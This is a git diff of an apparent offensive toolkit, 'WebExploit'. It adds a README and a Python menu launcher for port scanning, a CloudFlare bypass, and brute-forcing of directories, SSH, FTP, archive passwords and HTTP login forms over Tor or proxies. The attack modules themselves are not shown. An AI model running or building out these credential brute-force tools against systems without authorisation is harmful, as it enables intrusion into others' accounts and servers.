diff --git a/README.md b/README.md index b330b6a..e83f84a 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,130 @@ +[![](https://github.com/C4ssif3r/WebExploit/blob/main/img/WebExploit.jpg)](https://github.com/c4ssif3r/WebExploit)‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌ +![](https://img.shields.io/badge/WebExploit-1.0.0[M\J\I]-red%3E) +![-----------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) [![](https://img.shields.io/static/v1?label=Owner&message=Mji~DarkPwn&color=black)](http://127.0.0.1:9050) ![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg) ![-----------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) +- [X] __WebExploit:__ +- Vesrion 1.0.0 [MJI] +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) + +##### Launch and installing WebExploit 🕸️: + +1. Clone WebExploit from github: + +- `git clone https://github.com/C4ssif3r/WebExploit/` + +2. Change directory to WebExploit + +- `cd WebExploit` + +3. Installin requirements python library: + ++ For LINUX: + - `sudo python setup.py install` + ++ For TERMUX: + - python setup.py install` + +4. Launch (run) Web Exploit with python3.x: + +- `python WebExploit.py` + +### other requirements (for noobs!) + +`apt update -y && apt upgrade -y && apt install python -y && apt install git -y` + ++ Install Python Pip (if is not installed!) + +`apt install python-pip` + +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) + +###### TESTED ON: ++ [X] TERMUX ++ [X] KALI LINUX + +**Note ! If u using kali to sure using** `sudo` **when installing requirements!!!** -#### coming soon ;) +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) +#### preview WebExploit ++ ###### WebExploit Main Menu: + [![](https://github.com/C4ssif3r/WebExploit/blob/main/img/WebExploitMenu.png)]() +### Features: ++ #### Information Gathering: + [ℹ️ Whats Information Gathering?](https://github.com/C4ssif3r/WebExploit/wiki/Information-Gathering) + [![](https://github.com/C4ssif3r/WebExploit/blob/main/img/Infog_menu.png)]() + + Advanced Port Scanner. [Click for show info & How To Use](https://github.com/C4ssif3r/WebExploit/wiki/Advanced-Port-Scanner-Tool) + + Angry Hash Type Finder [Identifier All Hash Types] [Click For Show Info & How To Use?](https://github.com/C4ssif3r/WebExploit/wiki/Angry-Hash-Finder-(type(identifier))-%F0%9F%98%A1) + + Base 16 32 64 85 Decode & Encode [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder) + + BruteForce Directories [DirBooster] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/DirBooster-%F0%9F%91%BD) + + CloudFlare Bypasser [Get Real IPv4] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/cloudflare-bypasser) + + CMS - Content Management System [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Cms-detector) + + Get Location By ip:v4 (Show On GoggleMap) [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ipl-Ip-to-location!) + + Ping Tool < By External Server > [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ping-tool-by-external-server) + + Reverse Ip Lookup ( Get Sites On A IP ) [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Reverse-ip-lookup-!-Domain-LookUp-:-%3F) + + Shodan Search Engine \+ Save Results [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Sse-shodan-Search-Engine-%F0%9F%94%8D-XD%F0%9F%94%8E) + ++ #### Private Web Hacking: + [ℹ️ Whats Priv8 Hacking Tools?](https://github.com/C4ssif3r/WebExploit/wiki/Priv8-Web-Hacking) + [![](https://github.com/C4ssif3r/WebExploit/blob/main/img/privateWebHacking.png)]() + + BruteForce Directories [DirBooster] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder) + + CloudFlare Bypasser [Get Real IPv4] [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/cloudflare-bypasser) + + (EyeCracker)Mojiana ( BruteForce All HTTP Forms ) [angry 😡💢 ! Click For show options and how to use it!?](https://github.com/C4ssif3r/WebExploit/wiki/Mojiana-!) + +| Supoort | MethodRequest | ProxySupportTypes | +| :-------------------- | :--------------------: | --------------------: | +| YES | HTTP(S) POST FORM | TOR, HTTP(S), SOCKS4,5 | +| YES | HTTP(S) GET FORM | TOR, HTTP(S), SOCKS4,5 | +- [X] PROXY SUPPORT + - HTTP(S) + - SOCKS4,5 + - TOR ![TOR](https://img.shields.io/badge/tor-%237E4798.svg?style=for-the-badge&logo=tor-project&logoColor=white) +- [X] HEADER SUPPORT +- [X] COOKIE SUPPORT +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) + + + Reverse Ip Lookup ( Get Sites On A IP ) + ++ #### Password Attacks (Crack) + [ℹ️ Whats Password Attacks Tools?](https://github.com/C4ssif3r/WebExploit/wiki/Password-Attacks-Crack!) + [![](https://github.com/C4ssif3r/WebExploit/blob/main/img/PasswordCrack.png)]() + + Angry Hash Type Finder [Identifier All Hash Types] [Click For Show Info & How To Use?](https://github.com/C4ssif3r/WebExploit/wiki/Angry-Hash-Finder-(type(identifier))-%F0%9F%98%A1) + + Base 16 32 64 85 Decode & Encode [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Base-16-32-64-85-Decodr-&-Encoder) + + FTP Crakcer [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ftp-cracker) + + SSH Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Ssh-cracker) + + RAR Password Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Rar-cracker) + + ZIP Password Cracker [Click For Show Info and How to use?](https://github.com/C4ssif3r/WebExploit/wiki/Zip-Cracker) + + (EyeCracker)Mojiana ( BruteForce All HTTP(s) Forms ) [angry 😡💢 ! Click For show options and how to use it!?](https://github.com/C4ssif3r/WebExploit/wiki/Mojiana-!) + +| Supoort | MethodRequest | ProxySupportTypes | +| :-------------------- | :--------------------: | --------------------: | +| YES | HTTP(S) POST FORM | TOR, HTTP(S), SOCKS4,5 | +| YES | HTTP(S) GET FORM | TOR, HTTP(S), SOCKS4,5 | +- [X] PROXY SUPPORT + - HTTP(S) + - SOCKS4,5 + - TOR ![TOR](https://img.shields.io/badge/tor-%237E4798.svg?style=for-the-badge&logo=tor-project&logoColor=white) +- [X] HEADER SUPPORT +- [X] COOKIE SUPPORT + +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) + +> EyeCracker Pic: + +[![](https://github.com/C4ssif3r/WebExploit/blob/main/img/eyecrackerMojiana.jpg)](t.me/Zer0x00) + + +![------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) + + + +`.◠.` + +`Please Report Bug's to my telegram:)` + +![-----------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) +Report bug 🪲 [![My Telegram](https://img.shields.io/badge/Telegram-100000?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/IranPwner) + +![-----------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/rainbow.png) diff --git a/VERSION b/VERSION new file mode 100644 index 0000000..227cea2 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +2.0.0 diff --git a/WebExploit.py b/WebExploit.py index 6d3ae08..37a8d78 100644 --- a/WebExploit.py +++ b/WebExploit.py @@ -1,8 +1,470 @@ -import os -import time as t -from cores import baner #ba -from cores import dirboster #dirboster -from cores import aps #aps -from cores import wpf -from cores import ipl +def WebExploit(): + ''' + 'MjI' + _____________ + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + + + import os,sys + from colorama import Fore as f + import time as t + from treelib import Node, Tree + tree = Tree() + class FlowerNode(Node): + def __init__(self, color): + self.color = color + fnode = FlowerNode("white") + + # baner #bnr + # dirboster #dirboster + # zipc # zip password cracker + # rarc # rar password cracker + # aps #advanced port scanner + # wpf # wordpress plugin finder + # ipl # ip location tool + # ril # reverce ip lookup + # ssc # ssh cracker + # fpc # ftp cracker + # b64 # base 16, 32, 64, 85 tools . enc . dec + # sse # shodan search engine + # cms # content management system detector + # cfb # CloadFlare bypasser + # mojiana # ? + # ping # ping tool + # ahf # angry hash finder + # updater # update WebExploit + from cores import (updater, baner, dirboster, zipc, rarc, aps, wpf, ipl, ril, ssc, fpc, b64, sse, cms, cfb, mojiana, ping, ahf, pnt) + reset = "\033[0m" + red = "\033[0;31m" + class C: + ''' + Define Colors By Manual. + ''' + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + red = "\033[1;31m" + l_green = "\033[1;32m" + green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + reset = "\033[0m" + white = f.WHITE + global c + c = C + updater.run() + + while True: + bnr = baner.baner() + print (bnr+f.WHITE+".VERSION 2.0.0 \MJ\\"+C.reset+C.bold) + print ('|') + #print(f.WHITE+""+C.reset+C.bold) + class F(object): + def __init__(self, color): + self.color = color + + ftree = Tree() + tree = Tree() + tree1 = Tree() + tree2 = Tree() + tree3 = Tree() + tree.create_node("Web Exploit", "WebExploit") # root + tree.create_node("1- Information Gathering", "info", parent="WebExploit") + #tree.create_node("", "", parent="crack") + # tree.create_node("2- Web Hacking", "WebHacking", parent="WebExploit") + # tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana2", parent="WebHacking") + # tree.create_node("Content Management", "cms12", parent="WebHacking") + tree.create_node("2- Private Web Hacking", "p8web", parent="WebExploit") + tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana3", parent="p8web") + tree.create_node("Brute Force Directories - [Dir Booster]", "dirboster", parent="p8web") + tree.create_node("Cloud Flare Bypass - [Get Real Ip]", "cfb2", parent="p8web") + tree.create_node("3- Password Attacks", "crack", parent="WebExploit") + tree.create_node("Base 16,32,64,85 Encode | Decode", "ba64", parent="crack") + tree.create_node("Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mojiana", parent="crack") + tree.create_node("SSH cracker Tool", "sshc", parent="crack") + tree.create_node("FTP cracker Tool", "ftpc", parent="crack") + tree.create_node("ZIP password cracker Tool", "zipC", parent="crack") + tree.create_node("RAR password cracker Tool", "rarC", parent="crack") + tree.create_node("Angry Hash Type Finder - [Identifier]", "aAHF", parent="crack") + tree.create_node("Reverse Ip Lookup - [Get Sites On a IP]", "ril2", parent="p8web") + tree.create_node("Cloud Flare Bypass - [Get Real Ip]", "cfb", parent="info") + tree.create_node("WordPress Plugin Finder", "wpf", parent="info") + tree.create_node("Get Location By Ip v4", "ipl", parent="info") + tree.create_node("Brute Force Directories - [Dir Booster]", "dirbooster", parent="info") + tree.create_node("Advanced Port Scanner", "aps", parent="info") + tree.create_node("Reverse Doamin Lookup - [Get Sites on a IP]", "ril", parent="info") + tree.create_node("Base 16,32,64,85 Tool Enc-Dec", "b64", parent="info") + tree.create_node("Shodan Search Engine + [Save Results]", "sse", parent="info") + tree.create_node("Content Management System Detector", "cms", parent="info") + tree.create_node("Angry Hash Type Finder - [Identifier]", "ahf", parent="info") + tree.create_node("Ping Tool - [By External Server]", "ping", parent="info") + #tree.create_node("Version 1.0.0 \mj\\", "version", parent="WebExploit") + #tree.create_node("", "", parent="info") + # TREE 1 + # print ('\n') + tree1.create_node("Information Gathering", "infog") # root info g + tree1.create_node("‌10 -> WordPress Plugin Finder Tool ", "wpf2", parent='infog') + tree1.create_node("0 -> Advanced Port Scanner", "aps2", parent='infog') + tree1.create_node("1 -> Angry Hash Type Finder - [Identifier]", "ang2", parent='infog') + tree1.create_node("2 -> Base 16,32,64,85 Tool Enc-Dec", "bse2", parent='infog') + tree1.create_node("3 -> Brute Force Directories - [Dir Booster]", "db2", parent='infog') + tree1.create_node("4 -> Cloud Flare Bypass - [Get Real Ip]", "clb2", parent='infog') + tree1.create_node("5 -> Content Management System Detector", "cms2", parent='infog') + tree1.create_node("6 -> Get Location By Ip v4 [show on google map]", "ipl2", parent='infog') + tree1.create_node("7 -> Ping Tool - [By External Server]", "ping2", parent='infog') + tree1.create_node("8 -> Reverse Domain Lookup - [Get Sites on a IP]", "rdl2", parent='infog') + tree1.create_node("9 -> Shodan Search Engine + [Save Results]", "sse2", parent='infog') + tree1.create_node("10 -> PhoneNumber To location + [PhoneLocFinder]", "pnt", parent='infog') + # m + + # web attacks + #ftree.show() + # TREE 2 + tree2.create_node("Private Web Hacking", "p8_2") # root + tree2.create_node("0 -> Brute Force Directories - [Dir Booster]", "bfd2", parent='p8_2') + tree2.create_node("1 -> Cloud Flare Bypass - [Get Real Ip]", "cfb2", parent='p8_2') + tree2.create_node("2 -> Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]] 4y", "mjiari2", parent='p8_2') + tree2.create_node("3 -> Reverse Ip Lookup - [Get Sites On a IPv4]", "ril3", parent='p8_2') + # TREE 3 + tree3.create_node("Crack And Password Attacks", "cpa") # root + tree3.create_node("0 -> Angry Hash Type Finder - [Identifier]", "ag2", parent='cpa') + tree3.create_node("1 -> Base 16,32,64,85 Encode | Decode", "b_all", parent='cpa') + tree3.create_node("2 -> FTP cracker Tool", "ftp2", parent='cpa') + tree3.create_node("3 -> Mojiana [EYE Cracker Tool] Crack All HTTP[S][post-[form]][get-[form]]", "mjiari3", parent='cpa') + tree3.create_node("4 -> RAR password cracker Tool", "rar2", parent='cpa') + tree3.create_node("5 -> SSH cracker Tool", "ssh2", parent='cpa') + tree3.create_node("6 -> ZIP password cracker Tool", "zip2", parent='cpa') + + print('.MJi') + print('|') + tree.show() + # try: + + while True: + try: + method:str = input(f'.{C.italic}/Mji/WebExploit:~# {C.bold}{C.green}') + break + + except: + print ('please enter a valid value !') + continue + if method == 1 or '1' in method: + + try: + while True: + os.system('clear') + print (bnr) + print(f.WHITE+""+reset) + tree1.show() + mj = input(f'.{C.italic}/Mji/WebExploit/Information-Gathering{C.reset}:~# {C.bold}{C.green}') + if mj: + if mj == '0': + print (f'{c.reset}') + aps.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '1': + print (f'{c.reset}') + ahf.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '2': + print (f'{c.reset}') + b64.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '3': + print (f'{c.reset}') + + dirboster.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '4': + print (f'{c.reset}') + cfb.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '5': + print (f'{c.reset}') + cms.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '6': + print (f'{c.reset}') + ipl.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '7': + print (f'{c.reset}') + ping.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '8': + print (f'{c.reset}') + ril.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '9': + print(f'{c.reset}') + sse.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '10': + print(f'{c.reset}') + wpf.run() + input ("press enter for back to menu and press CTRL+C for exit") + if mj == '11': + print(f'{c.reset}') + pnt.run() + input ("press enter for back to menu and press CTRL+C for exit") + else: + input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + continue + else: + # input("press enter for back to menu") + print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower() + if 'y' in cmd: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + break + sys.exit(0) + # else: + # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]') + # continue + except Exception as derr: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye! {derr}') + sys.exit(0) + + + if method == 2 or '2' in method: + try: + while True: + os.system('clear') + print (bnr) + print(f.WHITE+""+reset) + tree2.show() + mj = input(f'.{C.italic}/Mji/WebExploit/Private Web Hacking{C.reset}:~# {C.bold}{C.green}') + if mj: + if mj == '0': + print (f'{c.reset}') + dirboster.run() + input('press enter for back to menu and press CTRL+C for exit') + + elif mj == '1': + print (f'{c.reset}') + cfb.run() + input('press enter for back to menu and press CTRL+C for exit') + + elif mj == '2': + print (f'{c.reset}') + mojiana.run() + input('press enter for back to menu and press CTRL+C for exit') + + elif mj == '3': + print (f'{c.reset}') + ril.run() + # input('press enter for back to menu and press CTRL+C for exit') + else: + input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + continue + else: + print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower() + if 'y' in cmd: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + sys.exit(0) + # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]') + # continue + except: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + sys.exit(0) + # TREE 3 + if method == 3 or '3' in method: + + try: + while True: + os.system('clear') + print (bnr) + print(f.WHITE+""+reset) + tree3.show() + mj = input(f'.{C.italic}/Mji/WebExploit/PasswordAttack-Crack{C.reset}:~# {C.bold}{C.green}') + if mj: + if mj == '0': + print (f'{c.reset}') + ahf.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '1': + print (f'{c.reset}') + b64.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '2': + print (f'{c.reset}') + fpc.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '3': + print (f'{c.reset}') + mojiana.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '4': + print (f'{c.reset}') + rarc.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '5': + print (f'{c.reset}') + ssc.run() + input('press enter for back to menu and press CTRL+C for exit') + + if mj == '6': + print (f'{c.reset}') + zipc.run() + input('press enter for back to menu and press CTRL+C for exit') + + + else: + input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + continue + else: + input("press enter for back to menu") + print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower() + if 'y' in cmd: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + sys.exit(0) + # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]') + # continue + except: + print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + sys.exit(0) + # if method == 4 or '4' in method: + # + # try: + # while True: + # os.system('clear') + # print (bnr) + # print(f.WHITE+""+reset) + # + # tree1.show() + # mj = input(f'.{C.italic}/Mji/WebExploit/Information-Gathering{C.reset}:~# {C.bold}{C.green}') + # if mj: + # if mj == '0': + # print (f'{c.reset}') + # aps.run() + # input('press enter for back to menu and press CTRL+C for exit') + # + # if mj == '1': + # print (f'{c.reset}') + # ahf.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '2': + # print (f'{c.reset}') + # b64.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '3': + # print (f'{c.reset}') + # dirboster.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '4': + # print (f'{c.reset}') + # cfb.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '5': + # print (f'{c.reset}') + # cms.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '6': + # print (f'{c.reset}') + # ipl.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '7': + # print (f'{c.reset}') + # ping.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '8': + # print (f'{c.reset}') + # ril.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # if mj == '9': + # print (f'{c.reset}') + # sse.run() + # input('press enter for back to menu and press CTRL+C for exit') + # break + # + # else: + # input(f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + # continue + # else: + + # # print (f'{C.red}ERROR!{c.white}\n\t Enter A Number of tools!\n{C.yellow}For exit press {C.white}[ {C.bold}CTRL+C{C.reset} ] !') + # # cmd=input(f'{C.red}{C.bold}WebExploit{C.reset} - exit ? y/n -> {C.green}').lower() + # # if 'y' in cmd: + # # print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + # # sys.exit(0) + # # input(f'{C.red}{C.bold}WebExploit{C.white} -> Invalid Command Try Again [{C.bold}press enter{C.white}]') + # # continue + # except: + # print (f'{C.white}{C.red}{C.bold}WebExploit{C.white}{C.reset} \n\t\t Bye!') + # sys.exit(0) + else: + # input('\nerror\nBYE!\n') + # os.system('clear') + # break + pass + # except KeyboardInterrupt: + # input(f'\nWebExploit -> Invalid Command \nBYE! ') + # break + +WebExploit() diff --git a/cores/__pycache__/ahf.cpython-310.pyc b/cores/__pycache__/ahf.cpython-310.pyc new file mode 100644 index 0000000..5e41965 Binary files /dev/null and b/cores/__pycache__/ahf.cpython-310.pyc differ diff --git a/cores/__pycache__/aps.cpython-310.pyc b/cores/__pycache__/aps.cpython-310.pyc index 27be7d1..9e48152 100644 Binary files a/cores/__pycache__/aps.cpython-310.pyc and b/cores/__pycache__/aps.cpython-310.pyc differ diff --git a/cores/__pycache__/b64.cpython-310.pyc b/cores/__pycache__/b64.cpython-310.pyc new file mode 100644 index 0000000..4f3f65b Binary files /dev/null and b/cores/__pycache__/b64.cpython-310.pyc differ diff --git a/cores/__pycache__/baner.cpython-310.pyc b/cores/__pycache__/baner.cpython-310.pyc index f009596..011696d 100644 Binary files a/cores/__pycache__/baner.cpython-310.pyc and b/cores/__pycache__/baner.cpython-310.pyc differ diff --git a/cores/__pycache__/cfb.cpython-310.pyc b/cores/__pycache__/cfb.cpython-310.pyc new file mode 100644 index 0000000..4fda1aa Binary files /dev/null and b/cores/__pycache__/cfb.cpython-310.pyc differ diff --git a/cores/__pycache__/cms.cpython-310.pyc b/cores/__pycache__/cms.cpython-310.pyc new file mode 100644 index 0000000..4eba782 Binary files /dev/null and b/cores/__pycache__/cms.cpython-310.pyc differ diff --git a/cores/__pycache__/dirboster.cpython-310.pyc b/cores/__pycache__/dirboster.cpython-310.pyc index f373b26..c5e58bf 100644 Binary files a/cores/__pycache__/dirboster.cpython-310.pyc and b/cores/__pycache__/dirboster.cpython-310.pyc differ diff --git a/cores/__pycache__/fpc.cpython-310.pyc b/cores/__pycache__/fpc.cpython-310.pyc new file mode 100644 index 0000000..0810028 Binary files /dev/null and b/cores/__pycache__/fpc.cpython-310.pyc differ diff --git a/cores/__pycache__/ipl.cpython-310.pyc b/cores/__pycache__/ipl.cpython-310.pyc new file mode 100644 index 0000000..751aea8 Binary files /dev/null and b/cores/__pycache__/ipl.cpython-310.pyc differ diff --git a/cores/__pycache__/mojiana.cpython-310.pyc b/cores/__pycache__/mojiana.cpython-310.pyc new file mode 100644 index 0000000..40ae61e Binary files /dev/null and b/cores/__pycache__/mojiana.cpython-310.pyc differ diff --git a/cores/__pycache__/ping.cpython-310.pyc b/cores/__pycache__/ping.cpython-310.pyc new file mode 100644 index 0000000..a6ebf49 Binary files /dev/null and b/cores/__pycache__/ping.cpython-310.pyc differ diff --git a/cores/__pycache__/rarc.cpython-310.pyc b/cores/__pycache__/rarc.cpython-310.pyc new file mode 100644 index 0000000..4a08327 Binary files /dev/null and b/cores/__pycache__/rarc.cpython-310.pyc differ diff --git a/cores/__pycache__/ril.cpython-310.pyc b/cores/__pycache__/ril.cpython-310.pyc new file mode 100644 index 0000000..10a8efa Binary files /dev/null and b/cores/__pycache__/ril.cpython-310.pyc differ diff --git a/cores/__pycache__/ssc.cpython-310.pyc b/cores/__pycache__/ssc.cpython-310.pyc new file mode 100644 index 0000000..21656e7 Binary files /dev/null and b/cores/__pycache__/ssc.cpython-310.pyc differ diff --git a/cores/__pycache__/sse.cpython-310.pyc b/cores/__pycache__/sse.cpython-310.pyc new file mode 100644 index 0000000..28c7b34 Binary files /dev/null and b/cores/__pycache__/sse.cpython-310.pyc differ diff --git a/cores/__pycache__/wpf.cpython-310.pyc b/cores/__pycache__/wpf.cpython-310.pyc new file mode 100644 index 0000000..1587eed Binary files /dev/null and b/cores/__pycache__/wpf.cpython-310.pyc differ diff --git a/cores/__pycache__/zipc.cpython-310.pyc b/cores/__pycache__/zipc.cpython-310.pyc new file mode 100644 index 0000000..66ef27f Binary files /dev/null and b/cores/__pycache__/zipc.cpython-310.pyc differ diff --git a/cores/ahf.py b/cores/ahf.py new file mode 100644 index 0000000..8247d61 --- /dev/null +++ b/cores/ahf.py @@ -0,0 +1,723 @@ + +def run(): + ''' + 'MJI 3> M' + _____________ + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + from builtins import input + from sys import argv, exit + import time as t + from colorama import Fore as f + from random import choice + + bnr = [''' + ░█▀▀▄░░░▒█░▒█░░░▒█▀▀▀ + ▒█▄▄█░░░▒█▀▀█░░░▒█▀▀░ + ▒█░▒█░░░▒█░▒█░░░▒█░░░ ''',''' + ▄▄▄ ██░ ██ █████ + ▒████▄ ▒▓██░ ██ ▓██ + ▒██ ▀█▄ ░▒██▀▀██ ▒████ + ░██▄▄▄▄██ ░▓█ ░██ ░▓█▒ + ▓█ ▓██ ░▓█▒░██▓ ▒░▒█░ + ▒▒ ▓▒█ ▒ ░░▒░▒ ░ ▒ ░ + ░ ▒▒ ▒ ░▒░ ░ ░ ░ + ░ ▒ ░ ░░ ░ ░ ░ + ░ ░ ░ ░ ░ '''] + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = 